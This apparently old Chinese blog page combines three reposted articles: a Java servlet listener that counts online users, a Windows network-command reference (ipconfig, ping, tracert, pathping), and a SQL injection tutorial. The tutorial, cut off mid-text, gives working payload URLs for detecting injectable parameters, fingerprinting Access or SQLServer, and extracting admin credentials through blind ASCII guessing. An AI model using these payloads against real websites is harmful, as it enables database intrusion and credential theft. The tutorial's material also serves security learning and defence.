WANG's profilePHILIPS's BlogPhotosBlogLists Tools Help
    September 09

    使用监听实现访问统计

    在网站中经常需要进行在线人数的统计。过去的一般做法是结合登录和退出功能,即当用户输入用户名密码进行登录的时候计数器加1,然后当用户点击退出按钮退出系统的时候计数器减1。这种处理方式存在一些缺点,例如:用户正常登录后,可能会忘记点击退出按钮,而直接关闭浏览器,导致计数器减1的操作没有及时执行;网站上还经常有一些内容是不需要登录就可以访问的,在这种情况下也无法使用上面的方法进行在线人数统计。
      我们可以利用Servlet规范中定义的事件监听器(Listener)来解决这个问题,实现更准确的在线人数统计功能。对每一个正在访问的用户,J2EE应用服务器会为其建立一个对应的HttpSession对象。当一个浏览器第一次访问网站的时候,J2EE应用服务器会新建一个HttpSession对象,并触发HttpSession创建事件,如果注册了HttpSessionListener事件监听器,则会调用HttpSessionListener事件监听器的sessionCreated方法。相反,当这个浏览器访问结束超时的时候,J2EE应用服务器会销毁相应的HttpSession对象,触发HttpSession销毁事件,同时调用所注册HttpSessionListener事件监听器的sessionDestroyed方法。
      可见,对应于一个用户访问的开始和结束,相应的有sessionCreated方法和sessionDestroyed方法执行。这样,我们只需要在HttpSessionListener实现类的sessionCreated方法中让计数器加1,在sessionDestroyed方法中让计数器减1,就轻松实现了网站在线人数的统计功能。
      下面就是利用HttpSessionListener实现在线人数统计的一个例子,这个例子已经在中创软件的J2EE应用服务器InforWeb中测试通过。
      首先,编写一个简单的计数器,代码如下:

    package gongfei.cmc.articles.onlinecounter;
    public class OnlineCounter {
        private static long online = 0;   
        public static long getOnline() {
            return online;
        }   
        public static void raise(){
            online++;
        }
        public static void reduce(){
            online--;
       }
    }


      然后,编写HttpSessionListener实现类,在这个实现类的sessionCreated方法中调用OnlineCounter的raise方法,在sessionDestroyed方法中调用OnlineCounter的reduce方法,代码如下:

    package gongfei.cmc.articles.onlinecounter;
    import javax.servlet.http.HttpSessionEvent;
    import javax.servlet.http.HttpSessionListener;
    public class OnlineCounterListener implements HttpSessionListener {
        public void sessionCreated(HttpSessionEvent hse) {
            OnlineCounter.raise();
        }
        public void sessionDestroyed(HttpSessionEvent hse) {
            OnlineCounter.reduce();
        }
    }


      再然后,把这个HttpSessionListener实现类注册到网站应用中,也就是在网站应用的web.xml中加入如下内容:

    <web-app>
        ……
        <listener>
            <listener-class>
                gongfei.cmc.articles.example.OnlineCounterListener
            </listener-class>
        </listener>
        ……
    </web-app>


      OK,在线人数统计功能已经实现,只要在JSP页面中加入下面这样的脚本就能显示但前在线人数了:

    <%@ page language="java" pageEncoding="GB2312" %>
    <%@ page import="gongfei.cmc.articles.onlinecounter.OnlineCounter" %>
    <html>
        <head><title>On Line Counert</title></head>
        <body bgcolor="#FFFFFF">
            On line:<%=OnlineCounter.getOnline()%>
        </body>
    </html>

    路由网管常用网络命令(老掉牙的东西)

    如果你玩过路由器的话,就知道路由器里面那些很好玩的命令缩写。
    例如,"sh int" 的意思是 "show interface"。
    现在 Windows 2000 也有了类似界面的工具,叫做 netsh。

    我们在 Windows 2000 的 cmd shell 下,输入 netsh
    就出来:netsh> 提示符,
    输入 int ip 就显示:
    interface ip>
    然后输入 dump ,我们就可以看到当前系统的网络配置:

    # ----------------------------------
    # Interface IP Configuration
    # ----------------------------------
    pushd interface ip

    # Interface IP Configuration for "Local Area Connection"
    set address name = "Local Area Connection" source = static addr = 192.168.1.168
    mask = 255.255.255.0
    add address name = "Local Area Connection" addr = 192.1.1.111 mask = 255.255.255.0
    set address name = "Local Area Connection" gateway = 192.168.1.100 gwmetric = 1
    set dns name = "Local Area Connection" source = static addr = 202.96.209.5
    set wins name = "Local Area Connection" source = static addr = none

    popd
    # End of interface IP configuration

    上面介绍的是通过交互方式操作的一种办法。
    我们可以直接输入命令:
    "netsh interface ip add address "Local Area Connection" 10.0.0.2
    255.0.0.0"
    来添加 IP 地址。
    如果不知道语法,不要紧的哦!
    在提示符下,输入 ? 就可以找到答案了。方便不方便啊?
    原来微软的东西里面,也有那么一些让人喜欢的玩意儿。可惜,之至者甚少啊!

    Windows网络命令行程序
    这部分包括:
    使用 ipconfig /all 查看配置
    使用 ipconfig /renew 刷新配置
    使用 ipconfig 管理 DNS 和 DHCP 类别 ID
    使用 Ping 测试连接
    使用 Arp 解决硬件地址问题
    使用 nbtstat 解决 NetBIOS 名称问题
    使用 netstat 显示连接统计
    使用 tracert 跟踪网络连接
    使用 pathping 测试路由器
    使用 ipconfig /all 查看配置
    发现和解决 TCP/IP 网络问题时,先检查出现问题的计算机上的 TCP/IP 配置。可以使用 ipconfig 命令获得主机配置信息,包括 IP 地址、子网掩码和默认网关。

    注意

    对于 Windows 95 和 Windows 98 的客户机,请使用 winipcfg 命令而不是 ipconfig 命令。

    使用带 /all 选项的 ipconfig 命令时,将给出所有接口的详细配置报告,包括任何已配置的串行端口。使用 ipconfig /all,可以将命令输出重定向到某个文件,并将输出粘贴到其他文档中。也可以用该输出确认网络上每台计算机的 TCP/IP 配置,或者进一步调查 TCP/IP 网络问题。

    例如,如果计算机配置的 IP 地址与现有的 IP 地址重复,则子网掩码显示为 0.0.0.0。

    下面的范例是 ipconfig /all 命令输出,该计算机配置成使用 DHCP 服务器动态配置TCP/IP,并使用 WINS 和 DNS 服务器解析名称。

    Windows 2000 IP Configuration
    Node Type.. . . . . . . . : Hybrid
    IP Routing Enabled.. . . . : No
    WINS Proxy Enabled.. . . . : No
    Ethernet adapter Local Area Connection:
    Host Name.. . . . . . . . : corp1.microsoft.com
    DNS Servers . . . . . . . : 10.1.0.200
    Description. . . . . . . : 3Com 3C90x Ethernet Adapter
    Physical Address. . . . . : 00-60-08-3E-46-07
    DHCP Enabled.. . . . . . . : Yes
    Autoconfiguration Enabled.: Yes
    IP Address. . . . . . . . . : 192.168.0.112
    Subnet Mask. . . . . . . . : 255.255.0.0
    Default Gateway. . . . . . : 192.168.0.1
    DHCP Server. . . . . . . . : 10.1.0.50
    Primary WINS Server. . . . : 10.1.0.101
    Secondary WINS Server. . . : 10.1.0.102
    Lease Obtained.. . . . . . : Wednesday, September 02, 1998 10:32:13 AM
    Lease Expires.. . . . . . : Friday, September 18, 1998 10:32:13 AM

    如果 TCP/IP 配置没有问题,下一步测试能够连接到 TCP/IP 网络上的其他主机。

    使用 ipconfig /renew 刷新配置

    解决 TCP/IP 网络问题时,先检查遇到问题的计算机上的 TCP/IP 配置。如果计算机启用 DHCP 并使用 DHCP 服务器获得配置,请使用 ipconfig /renew 命令开始刷新租约。
    使用 ipconfig /renew 时,使用 DHCP 的计算机上的所有网卡(除了那些手动配置的适配器)都尽量连接到 DHCP 服务器,更新现有配置或者获得新配置。
    也可以使用带 /release 选项的 ipconfig 命令立即释放主机的当前 DHCP 配置。有关 DHCP 和租用过程的详细信息,请参阅客户机如何获得配置。

    注意
    对于启用 DHCP 的 Windows 95 和 Windows 98 客户,请使用 winipcfg 命令的 release 和 renew 选项,而不是 ipconfig /release 和 ipconfig /renew 命令,手动释放或更新客户的 IP 配置租约。
    使用 ipconfig 管理 DNS 和 DHCP 类别 ID 也可以使用 ipconfig 命令:
    显示或重置 DNS 缓存。
    详细信息,请参阅使用 ipconfig 查看或重置客户解析程序缓存。

    刷新已注册的 DNS 名称。
    详细信息,请参阅使用 ipconfig 更新 DNS 客户注册。

    显示适配器的 DHCP 类别 ID。
    详细信息,请参阅显示客户机上的 DHCP 类别 ID 信息。

    设置适配器的 DHCP 类别 ID。
    详细信息,请参阅设置客户机上的 DHCP 类别 ID 信息。

    使用 Ping 测试连接

    Ping 命令有助于验证 IP 级的连通性。发现和解决问题时,可以使用 Ping 向目标主机名或 IP 地址发送 ICMP 回应请求。需要验证主机能否连接到 TCP/IP 网络和网络资源时,请使用 Ping。也可以使用 Ping 隔离网络硬件问题和不兼容配置。

    通常最好先用 Ping 命令验证本地计算机和网络主机之间的路由是否存在,以及要连接的网络主机的 IP 地址。Ping 目标主机的 IP 地址看它是否响应,如下:

    ping IP_address
    使用 Ping 时应该执行以下步骤:

    Ping 环回地址验证是否在本地计算机上安装 TCP/IP 以及配置是否正确。
    ping 127.0.0.1

    Ping 本地计算机的 IP 地址验证是否正确地添加到网络。
    ping IP_address_of_local_host

    Ping 默认网关的 IP 地址验证默认网关是否运行以及能否与本地网络上的本地主机通讯。
    ping IP_address_of_default_gateway

    Ping 远程主机的 IP 地址验证能否通过路由器通讯。
    ping IP_address_of_remote_host

    Ping 命令用 Windows 套接字样式的名称解析将计算机名解析成 IP 地址,所以如果用地址成功,但是用名称 Ping 失败,则问题出在地址或名称解析上,而不是网络连通性的问题。详细信息,请参阅使用 Arp 解决硬件地址问题。

    如果在任何点上都无法成功地使用 Ping,请确认:

    安装和配置 TCP/IP 之后重新启动计算机。
    “Internet 协议 (TCP/IP) 属性”对话框“常规”选项卡上的本地计算机的 IP 地址有效而且正确。
    用 IP 路由,并且路由器之间的链路是可用的。
    您可以使用 Ping 命令的不同选项来指定要使用的数据包大小、要发送多少数据包、是否记录用过的路由、要使用的生存时间 (TTL) 值以及是否设置“不分段”标志。可以键入 ping -? 查看这些选项。
    下例说明如何向 IP 地址 172.16.48.10 发送两个 Ping,每个都是 1,450 字节:

    C:\>ping -n 2 -l 1450 172.16.48.10
    Pinging 172.16.48.10 with 1450 bytes of data:
    Reply from 172.16.48.10:bytes=1450 time<10ms TTL=32
    Reply from 172.16.48.10:bytes=1450 time<10ms TTL=32

    Ping statistics for 157.59.8.1:
    Packets:Sent = 2, Received = 2, Lost = 0 (0% loss),
    Approximate roundtrip times in milli-seconds:
    Minimum = 0ms, Maximum = 10ms, Average = 2ms

    默认情况下,在显示“请求超时”之前,Ping 等待 1,000 毫秒(1 秒)的时间让每个响应返回。如果通过 Ping 探测的远程系统经过长时间延迟的链路,如卫星链路,则响应可能会花更长的时间才能返回。可以使用 -w (等待)选项指定更长时间的超时。

    使用 Arp 解决硬件地址问题

    “地址解析协议 (ARP)”允许主机查找同一物理网络上的主机的媒体访问控制地址,如果给出后者的 IP 地址。为使 ARP 更加有效,每个计算机缓存 IP 到媒体访问控制地址映射消除重复的 ARP 广播请求。

    可以使用 arp 命令查看和修改本地计算机上的 ARP 表项。arp 命令对于查看 ARP 缓存和解决地址解析问题非常有用。

    详细信息,请参阅查看“地址解析协议 (ARP)”缓存和添加静态 ARP 缓存项目。

    使用 nbtstat 解决 NetBIOS 名称问题
    TCP/IP 上的 NetBIOS (NetBT) 将 NetBIOS 名称解析成 IP 地址。TCP/IP 为 NetBIOS 名称解析提供了很多选项,包括本地缓存搜索、WINS 服务器查询、广播、DNS 服务器查询以及 Lmhosts 和主机文件搜索。
    Nbtstat 是解决 NetBIOS 名称解析问题的有用工具。可以使用nbtstat 命令删除或更正预加载的项目:

    nbtstat -n 显示由服务器或重定向器之类的程序在系统上本地注册的名称。
    nbtstat -c 显示 NetBIOS 名称缓存,包含其他计算机的名称对地址映射。
    nbtstat -R 清除名称缓存,然后从 Lmhosts 文件重新加载。
    nbtstat -RR 释放在 WINS 服务器上注册的 NetBIOS 名称,然后刷新它们的注册。
    nbtstat -a name 对 name 指定的计算机执行 NetBIOS 适配器状态命令。适配器状态命令将返回计算机的本地 NetBIOS 名称表,以及适配器的媒体访问控制地址。
    nbtstat -S 列出当前的 NetBIOS 会话及其状态(包括统计),如下例所示:
    NetBIOS connection table
    Local name State In/out Remote Host Input Output
    ------------------------------------------------------------------
    CORP1 <00> Connected Out CORPSUP1<20> 6MB 5MB
    CORP1 <00> Connected Out CORPPRINT<20> 108KB 116KB
    CORP1 <00> Connected Out CORPSRC1<20> 299KB 19KB
    CORP1 <00> Connected Out CORPEMAIL1<20> 324KB 19KB
    CORP1 <03> Listening
    使用 netstat 显示连接统计

    可以使用 netstat 命令显示协议统计信息和当前的 TCP/IP 连接。netstat -a 命令将显示所有连接,而 netstat -r 显示路由表和活动连接。netstat -e 命令将显示Ethernet 统计信息,而 netstat -s 显示每个协议的统计信息。如果使用 netstat -n,则不能将地址和端口号转换成名称。下面是 netstat 的输出示例:

    C:\>netstat -e
    Interface Statistics
    Received Sent
    Bytes 3995837940 47224622
    Unicast packets 120099 131015
    Non-unicast packets 7579544 3823
    Discards 0 0
    Errors 0 0
    Unknown protocols 363054211
    C:\>netstat -a
    Active Connections
    Proto Local Address Foreign Address State
    TCP CORP1:1572 172.16.48.10:nbsession ESTABLISHED
    TCP CORP1:1589 172.16.48.10:nbsession ESTABLISHED
    TCP CORP1:1606 172.16.105.245:nbsession ESTABLISHED
    TCP CORP1:1632 172.16.48.213:nbsession ESTABLISHED
    TCP CORP1:1659 172.16.48.169:nbsession ESTABLISHED
    TCP CORP1:1714 172.16.48.203:nbsession ESTABLISHED
    TCP CORP1:1719 172.16.48.36:nbsession ESTABLISHED
    TCP CORP1:1241 172.16.48.101:nbsession ESTABLISHED
    UDP CORP1:1025 *:*
    UDP CORP1:snmp *:*
    UDP CORP1:nbname *:*
    UDP CORP1:nbdatagram *:*
    UDP CORP1:nbname *:*
    UDP CORP1:nbdatagram *:*
    C:\>netstat -s
    IP Statistics
    Packets Received = 5378528
    Received Header Errors = 738854
    Received Address Errors = 23150
    Datagrams Forwarded = 0
    Unknown Protocols Received = 0
    Received Packets Discarded = 0
    Received Packets Delivered = 4616524
    Output Requests = 132702
    Routing Discards = 157
    Discarded Output Packets = 0
    Output Packet No Route = 0
    Reassembly Required = 0
    Reassembly Successful = 0
    Reassembly Failures =
    Datagrams Successfully Fragmented = 0
    Datagrams Failing Fragmentation = 0
    Fragments Created = 0
    ICMP Statistics
    Received Sent
    Messages 693 4
    Errors 0 0
    Destination Unreachable 685 0
    Time Exceeded 0 0
    Parameter Problems 0 0
    Source Quenches 0 0
    Redirects 0 0
    Echoes 4 0
    Echo Replies 0 4
    Timestamps 0 0
    Timestamp Replies 0 0
    Address Masks 0 0
    Address Mask Replies 0 0
    TCP Statistics
    Active Opens = 597
    Passive Opens = 135
    Failed Connection Attempts = 107
    Reset Connections = 91
    Current Connections = 8
    Segments Received = 106770
    Segments Sent = 118431
    Segments Retransmitted = 461
    UDP Statistics
    Datagrams Received = 4157136
    No Ports = 351928
    Receive Errors = 2
    Datagrams Sent = 13809

    使用 tracert 跟踪网络连接

    Tracert(跟踪路由)是路由跟踪实用程序,用于确定 IP 数据报访问目标所采取的路径。Tracert 命令用 IP 生存时间 (TTL) 字段和 ICMP 错误消息来确定从一个主机到网络上其他主机的路由。

    Tracert 工作原理

    通过向目标发送不同 IP 生存时间 (TTL) 值的“Internet 控制消息协议 (ICMP)”回应数据包,Tracert 诊断程序确定到目标所采取的路由。要求路径上的每个路由器在转发数据包之前至少将数据包上的 TTL 递减 1。数据包上的 TTL 减为 0 时,路由器应该将“ICMP 已超时”的消息发回源系统。

    Tracert 先发送 TTL 为 1 的回应数据包,并在随后的每次发送过程将 TTL 递增 1,直到目标响应或 TTL 达到最大值,从而确定路由。通过检查中间路由器发回的“ICMP 已超时”的消息确定路由。某些路由器不经询问直接丢弃 TTL 过期的数据包,这在Tracert 实用程序中看不到。

    Tracert 命令按顺序打印出返回“ICMP 已超时”消息的路径中的近端路由器接口列表。如果使用 -d 选项,则Tracert 实用程序不在每个 IP 地址上查询 DNS。

    在下例中,数据包必须通过两个路由器(10.0.0.1 和 192.168.0.1)才能到达主机172.16.0.99。主机的默认网关是 10.0.0.1,192.168.0.0 网络上的路由器的 IP 地 址是 192.168.0.1。

    C:\>tracert 172.16.0.99 -d
    Tracing route to 172.16.0.99 over a maximum of 30 hops
    1 2s 3s 2s 10,0.0,1
    2 75 ms 83 ms 88 ms 192.168.0.1
    3 73 ms 79 ms 93 ms 172.16.0.99
    Trace complete.

    用 tracert 解决问题

    可以使用 tracert 命令确定数据包在网络上的停止位置。下例中,默认网关确定 192.168.10.99 主机没有有效路径。这可能是路由器配置的问题,或者是 192.168.10.0 网络不存在(错误的 IP 地址)。

    C:\>tracert 192.168.10.99
    Tracing route to 192.168.10.99 over a maximum of 30 hops
    1 10.0.0.1 reportsestination net unreachable.
    Trace complete.
    Tracert 实用程序对于解决大网络问题非常有用,此时可以采取几条路径到达同一个点。
    Tracert 命令行选项
    Tracert 命令支持多种选项,如下表所示。
    tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name

    选项 描述
    -d 指定不将 IP 地址解析到主机名称。
    -h maximum_hops 指定跃点数以跟踪到称为 target_name 的主机的路由。
    -j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。
    -w timeout 等待 timeout 为每次回复所指定的毫秒数。
    target_name 目标主机的名称或 IP 地址。
    详细信息,请参阅使用 tracert 命令跟踪路径。

    使用 pathping 测试路由器

    pathping 命令是一个路由跟踪工具,它将 ping 和 tracert 命令的功能和这两个工具所不提供的其他信息结合起来。pathping 命令在一段时间内将数据包发送到到达最终目标的路径上的每个路由器,然后基于数据包的计算机结果从每个跃点返回。由于命令显示数据包在任何给定路由器或链接上丢失的程度,因此可以很容易地确定可能导致网络问题的路由器或链接。某些选项是可用的,如下表所示。

    选项 名称 功能
    -n Hostnames 不将地址解析成主机名
    -h Maximum hops 搜索目标的最大跃点数
    -g Host-list 沿着路由列表释放源路由
    -p Period 在 ping 之间等待的毫秒数
    -q Num_queries 每个跃点的查询数
    -w Time-out 为每次回复所等待的毫秒数
    -T  Layer 2 tag 将第 2 层优先级标记(例如,对于 IEEE 802.1p)连接到数据包并将它发送到路径中的每个网络设备。这有助于标识没有正确配置第 2 层优先级的网络设备。-T 开关用于测试服务质量 (QoS) 连通性
    -R RSVP isbase Che 检查以确定路径中的每个路由器是否支持“资源保留协议 (RSVP)”,此协议允许主机为数据流保留一定量的带宽。 -R 开关用于测试服务质量 (QoS) 连通性。


    默认的跃点数是 30,并且超时前的默认等待时间是 3 秒。默认时间是 250 毫秒,并且沿着路径对每个路由器进行查询的次数是 100。

    以下是典型的 pathping 报告。跃点列表后所编辑的统计信息表明在每个独立路由器上数据包丢失的情况。

    D:\>pathping -n msw
    Tracing route to msw [7.54.1.196]
    over a maximum of 30 hops:
    0 172.16.87.35
    1 172.16.87.218
    2 192.68.52.1
    3 192.68.80.1
    4 7.54.247.14
    5 7.54.1.196
    Computing statistics for 125 seconds...
    Source to Here This Node/Link
    Hop RTT Lost/Sent = Pct Lost/Sent = Pct Address
    0 172.16.87.35
    0/ 100 = 0% |
    1 41ms 0/ 100 = 0% 0/ 100 = 0% 172.16.87.218
    13/ 100 = 13% |
    2 22ms 16/ 100 = 16% 3/ 100 = 3% 192.68.52.1
    0/ 100 = 0% |
    3 24ms 13/ 100 = 13% 0/ 100 = 0% 192.68.80.1
    0/ 100 = 0% |
    4 21ms 14/ 100 = 14% 1/ 100 = 1% 10.54.247.14
    0/ 100 = 0% |
    5 24ms 13/ 100 = 13% 0/ 100 = 0% 10.54.1.196
    Trace complete.

    当运行 pathping 时,在测试问题时首先查看路由的结果。此路径与 tracert 命令所显示的路径相同。然后 pathping 命令对下一个 125 毫秒显示忙消息(此时间根据跃点计数变化)。在此期间,pathping 从以前列出的所有路由器和它们之间的链接之间收集信息。在此期间结束时,它显示测试结果。

    最右边的两栏 This Node/Link Lost/Sent=Pct 和 Address 包含的信息最有用。172.16.87.218(跃点 1)和 192.68.52.1(跃点 2)丢失 13% 的数据包。 所有其他链接工作正常。在跃点 2 和 4 中的路由器也丢失寻址到它们的数据包(如 This Node /Link 栏中所示),但是该丢失不会影响转发的路径。

    对链接显示的丢失率(在最右边的栏中标记为 |)表明沿路径转发丢失的数据包。该丢失表明链接阻塞。对路由器显示的丢失率(通过最右边栏中的 IP 地址显示)表明这些路由器的 CPU 可能超负荷运行。这些阻塞的路由器可能也是端对端问题的一个因素,尤其是在软件路由器转发数据包时。

    SQL注入漏洞攻防必杀技

    SQL注入是常见的利用程序漏洞进行攻击的方法,是很多入门级“黑客”喜欢采用的攻击方式,近来网上
    对它的讨论很热烈,所以我在本期专题中为读者揭示SQL攻击的主要原理以及如何防范这种攻击。
    攻击源于程序漏洞 SQL注入原理
    导致SQL注入攻击的漏洞并非系统造成的,主要是程序员在编程中忽略了安全因素,他的原理并不复杂。
    引 言
      随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业
    的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户
    输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返
    回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
      SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面
    的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉

      但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分
    析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
      根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。
    在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋
    友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部
    分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...
      入门篇
      如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好
    HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不
    能获得更多的提示信息。
      第一节、SQL注入原理
      以下我们从一个网站www.xxx.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数
    据)。
      在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.xxx.
    com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:
    Microsoft JET Database Engine 错误 '80040e14'
      字符串的语法错误 在查询表达式 'ID=49'' 中。
    /showdetail.asp,行8
      从这个错误提示我们能看出下面几点:
      1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
      2. 程序没有判断客户端提交的数据是否符合程序要求。
      3. 该SQL语句所查询的表中有一名为ID的字段。
      从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务
    器的信息,从而获取你想到得到的资料。
      第二节、判断能否进行SQL注入
      看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?
      其实,这并不是最好的方法,为什么呢?
      首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句
    的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系
    统管理员联络。
      其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数
    ,如果你用单引号测试,是测不到注入点的
      那么,什么样的测试方法才是比较准确呢?答案如下:
      ① http://www.xxx.com/showdetail.asp?id=49
      ② http://www.xxx.com/showdetail.asp?id=49 ;and 1=1
      ③ http://www.xxx.com/showdetail.asp?id=49 ;and 1=2
      这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
      可以注入的表现:
      ① 正常显示(这是必然的,不然就是程序有错误了)
      ② 正常显示,内容基本与①相同
      ③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为
    空(程序加了on error resume next)
      不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类
    型转换时出错。
      当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我
    将在中级篇的“SQL注入一般步骤”再做分析。
      第三节、判断数据库类型及注入方法
      不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。
    一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
      怎么让程序告诉你它使用的什么数据库呢?来看看:
      SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以
    直接从出错信息获取,方法如下:
      http://www.xxx.com/showdetail.asp?id=49 ;and user>0
      这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现
    这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我
    们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个
    nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错
    ,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int
    的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在
    以后的篇幅里,大家会看到很多用这种方法的语句。
    本文引用地址:http://www.cnser.net/Art/2006/0829/2136.html


      顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几
    乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是
    :如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
      如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区
    别入手,Access和
    SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但
    在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
      在确认可以注入的情况下,使用下面的语句:
    http://www.xxx.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
    http://www.xxx.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
      如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.xxx.com/showdetail.asp?
    id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,
    页面也与原页面完全不同。
      如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址
    ,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情
    况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
    进阶篇
      在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来
    ,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
      第一节、SQL注入的一般步骤
      首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
      其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
      (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
    Select * from 表名 where 字段=49
      注入的参数为ID=49 And [查询条件],即是生成语句:
    Select * from 表名 where 字段=49 And [查询条件]
      (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
    Select * from 表名 where 字段=’连续剧’
      注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
    Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
      © 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
    Select * from 表名 where 字段like ’%关键字%’
      注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
    Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
      接着,将查询条件替换成SQL语句,猜解表名,例如:
    ID=49 And (Select Count(*) from Admin)>=0
      如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法
    )。如此循环,直至猜到表名为止。
     表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
      有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很
    对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为
    别人的程序写得不严密或使用者保密意识不够,才有得下手。
      有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字蚊模颐窃?BR>
    高级篇中会做介绍。
      最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Asc
    ii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
      我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
    http://www.xxx.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
      先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一
    直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
      当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后
    ,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
    id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
      同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之
    间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
      第二节、SQL注入常用函数
      有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL
    水平,特别是一些常用的函数及命令。
    Access:asc(字符) SQLServer:unicode(字符)
      作用:返回某字符的ASCII码
    Access:chr(数字) SQLServer:nchar(数字)
      作用:与asc相反,根据ASCII码返回字符
    Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
      作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
    Access:abc(数字) SQLServer:abc (数字)
      作用:返回数字的绝对值(在猜解汉字的时候会用到)
    Access:A between B And C SQLServer:A between B And C
      作用:判断A是否界于B与C之间
      第三节、中文处理方法
      在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码
    有所了解,“中文恐惧症”很快可以克服。
      先说一点常识:
